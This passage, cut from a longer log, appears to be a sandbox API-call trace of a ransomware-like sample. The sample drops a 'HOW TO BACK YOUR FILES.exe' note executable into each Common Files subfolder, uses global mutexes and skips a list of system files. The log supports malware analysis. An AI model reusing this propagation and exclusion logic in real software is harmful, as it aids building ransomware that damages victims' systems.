ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0ba9280, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0092.741] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.741] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.741] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0092.741] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xc0ba9280, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0ba9280, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.741] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.741] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.741] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0092.741] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0092.741] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7cf1a9e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7cf1a9e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7cf1a9e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0092.741] lstrcmpiW (lpString1="Acrobat", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.741] lstrcmpiW (lpString1="Acrobat", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.741] lstrcmpiW (lpString1="Acrobat", lpString2=".") returned 1 [0092.741] lstrcmpiW (lpString1="Acrobat", lpString2="..") returned 1 [0092.741] lstrcmpiW (lpString1="Acrobat", lpString2="windows") returned -1 [0092.741] lstrcmpiW (lpString1="Acrobat", lpString2="bootmgr") returned -1 [0092.741] lstrcmpiW (lpString1="Acrobat", lpString2="temp") returned -1 [0092.742] lstrcmpiW (lpString1="Acrobat", lpString2="pagefile.sys") returned -1 [0092.742] lstrcmpiW (lpString1="Acrobat", lpString2="boot") returned -1 [0092.742] lstrcmpiW (lpString1="Acrobat", lpString2="ids.txt") returned -1 [0092.742] lstrcmpiW (lpString1="Acrobat", lpString2="ntuser.dat") returned -1 [0092.742] lstrcmpiW (lpString1="Acrobat", lpString2="perflogs") returned -1 [0092.742] lstrcmpiW (lpString1="Acrobat", lpString2="MSBuild") returned -1 [0092.742] lstrlenW (lpString="Acrobat") returned 7 [0092.742] lstrcpyW (in: lpString1=0x241e89c, lpString2="Acrobat" | out: lpString1="Acrobat") returned="Acrobat" [0092.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x50c488 [0092.742] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x53a730 [0092.742] lstrcatW (in: lpString1="Acrobat", lpString2="\\" | out: lpString1="Acrobat\\") returned="Acrobat\\" [0092.742] lstrcatW (in: lpString1="Acrobat\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Acrobat\\HOW TO BACK YOUR FILES.exe") returned="Acrobat\\HOW TO BACK YOUR FILES.exe" [0092.742] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\Acrobat\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\acrobat\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.744] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8386f760, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x8386f760, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x8386f760, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="ARM", cAlternateFileName="")) returned 1 [0092.744] lstrcmpiW (lpString1="ARM", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.744] lstrcmpiW (lpString1="ARM", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.745] lstrcmpiW (lpString1="ARM", lpString2=".") returned 1 [0092.745] lstrcmpiW (lpString1="ARM", lpString2="..") returned 1 [0092.745] lstrcmpiW (lpString1="ARM", lpString2="windows") returned -1 [0092.745] lstrcmpiW (lpString1="ARM", lpString2="bootmgr") returned -1 [0092.745] lstrcmpiW (lpString1="ARM", lpString2="temp") returned -1 [0092.745] lstrcmpiW (lpString1="ARM", lpString2="pagefile.sys") returned -1 [0092.745] lstrcmpiW (lpString1="ARM", lpString2="boot") returned -1 [0092.745] lstrcmpiW (lpString1="ARM", lpString2="ids.txt") returned -1 [0092.745] lstrcmpiW (lpString1="ARM", lpString2="ntuser.dat") returned -1 [0092.745] lstrcmpiW (lpString1="ARM", lpString2="perflogs") returned -1 [0092.745] lstrcmpiW (lpString1="ARM", lpString2="MSBuild") returned -1 [0092.745] lstrlenW (lpString="ARM") returned 3 [0092.745] lstrcpyW (in: lpString1=0x241e89c, lpString2="ARM" | out: lpString1="ARM") returned="ARM" [0092.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b888 [0092.745] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x5c) returned 0x51ba18 [0092.745] lstrcatW (in: lpString1="ARM", lpString2="\\" | out: lpString1="ARM\\") returned="ARM\\" [0092.745] lstrcatW (in: lpString1="ARM\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="ARM\\HOW TO BACK YOUR FILES.exe") returned="ARM\\HOW TO BACK YOUR FILES.exe" [0092.745] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\ARM\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\arm\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.751] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7d580500, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0x7d5f2920, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x7d5f2920, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HelpCfg", cAlternateFileName="")) returned 1 [0092.751] lstrcmpiW (lpString1="HelpCfg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.751] lstrcmpiW (lpString1="HelpCfg", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.751] lstrcmpiW (lpString1="HelpCfg", lpString2=".") returned 1 [0092.751] lstrcmpiW (lpString1="HelpCfg", lpString2="..") returned 1 [0092.751] lstrcmpiW (lpString1="HelpCfg", lpString2="windows") returned -1 [0092.751] lstrcmpiW (lpString1="HelpCfg", lpString2="bootmgr") returned 1 [0092.751] lstrcmpiW (lpString1="HelpCfg", lpString2="temp") returned -1 [0092.751] lstrcmpiW (lpString1="HelpCfg", lpString2="pagefile.sys") returned -1 [0092.751] lstrcmpiW (lpString1="HelpCfg", lpString2="boot") returned 1 [0092.751] lstrcmpiW (lpString1="HelpCfg", lpString2="ids.txt") returned -1 [0092.751] lstrcmpiW (lpString1="HelpCfg", lpString2="ntuser.dat") returned -1 [0092.751] lstrcmpiW (lpString1="HelpCfg", lpString2="perflogs") returned -1 [0092.751] lstrcmpiW (lpString1="HelpCfg", lpString2="MSBuild") returned -1 [0092.751] lstrlenW (lpString="HelpCfg") returned 7 [0092.751] lstrcpyW (in: lpString1=0x241e89c, lpString2="HelpCfg" | out: lpString1="HelpCfg") returned="HelpCfg" [0092.751] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52b8a0 [0092.751] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x64) returned 0x53a7a0 [0092.751] lstrcatW (in: lpString1="HelpCfg", lpString2="\\" | out: lpString1="HelpCfg\\") returned="HelpCfg\\" [0092.751] lstrcatW (in: lpString1="HelpCfg\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HelpCfg\\HOW TO BACK YOUR FILES.exe") returned="HelpCfg\\HOW TO BACK YOUR FILES.exe" [0092.751] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Adobe\\HelpCfg\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\adobe\\helpcfg\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.776] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ba9280, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc0ba9280, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0092.776] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0092.776] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ba9280, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc0ba9280, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0 [0092.776] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0092.776] ReleaseMutex (hMutex=0xec) returned 1 [0092.777] CloseHandle (hObject=0xec) returned 1 [0092.777] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Common Files\\Java" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java") returned="C:\\Program Files (x86)\\Common Files\\Java" [0092.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f920 | out: hHeap=0x4f0000) returned 1 [0092.777] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f850 | out: hHeap=0x4f0000) returned 1 [0092.777] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\Java") returned 40 [0092.777] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\742DA4E4B06F48C6A825A8B6B0692475") returned 0xec [0092.777] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0092.777] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\Java" | out: lpString1="C:\\Program Files (x86)\\Common Files\\Java") returned="C:\\Program Files (x86)\\Common Files\\Java" [0092.777] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0092.777] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\java\\how to back your files.exe"), bFailIfExists=1) returned 0 [0092.777] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\java\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0092.778] GetLastError () returned 0x0 [0092.778] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0092.778] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0092.778] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0092.779] CloseHandle (hObject=0xf4) returned 1 [0092.779] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0092.779] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0092.779] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Java\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc0ba9280, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0ba9280, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0092.779] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.779] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.779] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0092.779] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801ae160, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0xc0ba9280, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0ba9280, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.779] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.779] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.779] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0092.779] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0092.779] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc0ba9280, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xc0ba9280, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xbbee4d00, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x7000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1 [0092.779] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0 [0092.779] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 1 [0092.779] lstrcmpiW (lpString1="Java Update", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0092.779] lstrcmpiW (lpString1="Java Update", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.779] lstrcmpiW (lpString1="Java Update", lpString2=".") returned 1 [0092.779] lstrcmpiW (lpString1="Java Update", lpString2="..") returned 1 [0092.780] lstrcmpiW (lpString1="Java Update", lpString2="windows") returned -1 [0092.780] lstrcmpiW (lpString1="Java Update", lpString2="bootmgr") returned 1 [0092.780] lstrcmpiW (lpString1="Java Update", lpString2="temp") returned -1 [0092.780] lstrcmpiW (lpString1="Java Update", lpString2="pagefile.sys") returned -1 [0092.780] lstrcmpiW (lpString1="Java Update", lpString2="boot") returned 1 [0092.780] lstrcmpiW (lpString1="Java Update", lpString2="ids.txt") returned 1 [0092.780] lstrcmpiW (lpString1="Java Update", lpString2="ntuser.dat") returned -1 [0092.780] lstrcmpiW (lpString1="Java Update", lpString2="perflogs") returned -1 [0092.780] lstrcmpiW (lpString1="Java Update", lpString2="MSBuild") returned -1 [0092.780] lstrlenW (lpString="Java Update") returned 11 [0092.780] lstrcpyW (in: lpString1=0x241e89a, lpString2="Java Update" | out: lpString1="Java Update") returned="Java Update" [0092.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f850 [0092.780] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x6a) returned 0x539248 [0092.780] lstrcatW (in: lpString1="Java Update", lpString2="\\" | out: lpString1="Java Update\\") returned="Java Update\\" [0092.780] lstrcatW (in: lpString1="Java Update\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="Java Update\\HOW TO BACK YOUR FILES.exe") returned="Java Update\\HOW TO BACK YOUR FILES.exe" [0092.780] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\Java\\Java Update\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\java\\java update\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.783] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x801d42c0, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x80220580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x80220580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Java Update", cAlternateFileName="JAVAUP~1")) returned 0 [0092.783] FindClose (in: hFindFile=0x529410 | out: hFindFile=0x529410) returned 1 [0092.783] ReleaseMutex (hMutex=0xec) returned 1 [0092.783] CloseHandle (hObject=0xec) returned 1 [0092.783] lstrcpyW (in: lpString1=0x241e848, lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared" [0092.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d318 | out: hHeap=0x4f0000) returned 1 [0092.783] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f868 | out: hHeap=0x4f0000) returned 1 [0092.783] lstrlenW (lpString="C:\\Program Files (x86)\\Common Files\\microsoft shared") returned 52 [0092.783] CreateMutexA (lpMutexAttributes=0x0, bInitialOwner=0, lpName="Global\\C45537CBD38F61161D18E0E20088BC60") returned 0xec [0092.783] WaitForSingleObject (hHandle=0xec, dwMilliseconds=0x0) returned 0x0 [0092.783] lstrcatW (in: lpString1="", lpString2="C:\\Program Files (x86)\\Common Files\\microsoft shared" | out: lpString1="C:\\Program Files (x86)\\Common Files\\microsoft shared") returned="C:\\Program Files (x86)\\Common Files\\microsoft shared" [0092.783] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe" [0092.783] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\how to back your files.exe"), bFailIfExists=1) returned 0 [0092.784] CreateFileW (lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\how to back your files.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf4 [0092.784] GetLastError () returned 0x0 [0092.784] GetFileSizeEx (in: hFile=0xf4, lpFileSize=0x241e480 | out: lpFileSize=0x241e480*=28672) returned 1 [0092.784] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x7000) returned 0x53ad08 [0092.784] ReadFile (in: hFile=0xf4, lpBuffer=0x53ad08, nNumberOfBytesToRead=0x7000, lpNumberOfBytesRead=0x241e47c, lpOverlapped=0x0 | out: lpBuffer=0x53ad08*, lpNumberOfBytesRead=0x241e47c*=0x7000, lpOverlapped=0x0) returned 1 [0092.785] CloseHandle (hObject=0xf4) returned 1 [0092.785] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x53ad08 | out: hHeap=0x4f0000) returned 1 [0092.785] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*" [0092.785] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\*", lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc0ba9280, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0ba9280, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x529410 [0092.785] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.785] lstrcmpiW (lpString1=".", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.785] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0092.785] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xc0ba9280, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xc0ba9280, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.785] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.785] lstrcmpiW (lpString1="..", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.786] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0092.786] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0092.786] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8d1336, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8d1336, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8d1336, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DAO", cAlternateFileName="")) returned 1 [0092.786] lstrcmpiW (lpString1="DAO", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.786] lstrcmpiW (lpString1="DAO", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.786] lstrcmpiW (lpString1="DAO", lpString2=".") returned 1 [0092.786] lstrcmpiW (lpString1="DAO", lpString2="..") returned 1 [0092.786] lstrcmpiW (lpString1="DAO", lpString2="windows") returned -1 [0092.786] lstrcmpiW (lpString1="DAO", lpString2="bootmgr") returned 1 [0092.786] lstrcmpiW (lpString1="DAO", lpString2="temp") returned -1 [0092.786] lstrcmpiW (lpString1="DAO", lpString2="pagefile.sys") returned -1 [0092.786] lstrcmpiW (lpString1="DAO", lpString2="boot") returned 1 [0092.786] lstrcmpiW (lpString1="DAO", lpString2="ids.txt") returned -1 [0092.786] lstrcmpiW (lpString1="DAO", lpString2="ntuser.dat") returned -1 [0092.786] lstrcmpiW (lpString1="DAO", lpString2="perflogs") returned -1 [0092.786] lstrcmpiW (lpString1="DAO", lpString2="MSBuild") returned -1 [0092.786] lstrlenW (lpString="DAO") returned 3 [0092.786] lstrcpyW (in: lpString1=0x241e8b2, lpString2="DAO" | out: lpString1="DAO") returned="DAO" [0092.786] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0xc) returned 0x52f868 [0092.786] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0x72) returned 0x53ad20 [0092.786] lstrcatW (in: lpString1="DAO", lpString2="\\" | out: lpString1="DAO\\") returned="DAO\\" [0092.786] lstrcatW (in: lpString1="DAO\\", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="DAO\\HOW TO BACK YOUR FILES.exe") returned="DAO\\HOW TO BACK YOUR FILES.exe" [0092.786] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files (x86)\\Common Files\\microsoft shared\\DAO\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files (x86)\\common files\\microsoft shared\\dao\\how to back your files.exe"), bFailIfExists=1) returned 1 [0092.789] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeed5e6b0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x60d54030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60d54030, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Help", cAlternateFileName="")) returned 1 [0092.789] lstrcmpiW (lpString1="Help", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.789] lstrcmpiW (lpString1="Help", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0092.789] lstrcmpiW (lpString1="Help", lpString2=".") returned 1 [0092.789] lstrcmpiW (lpString1="Help", lpString2="..") returned 1 [0092.789] lstrcmpiW (lpString1="Help", lpString2="windows") returned -1 [0092.789] lstrcmpiW (lpString1="Help", lpString2="bootmgr") returned 1 [0092.789] lstrcmpiW (lpString1="Help", lpString2="temp") returned -1 [0092.789] lstrcmpiW 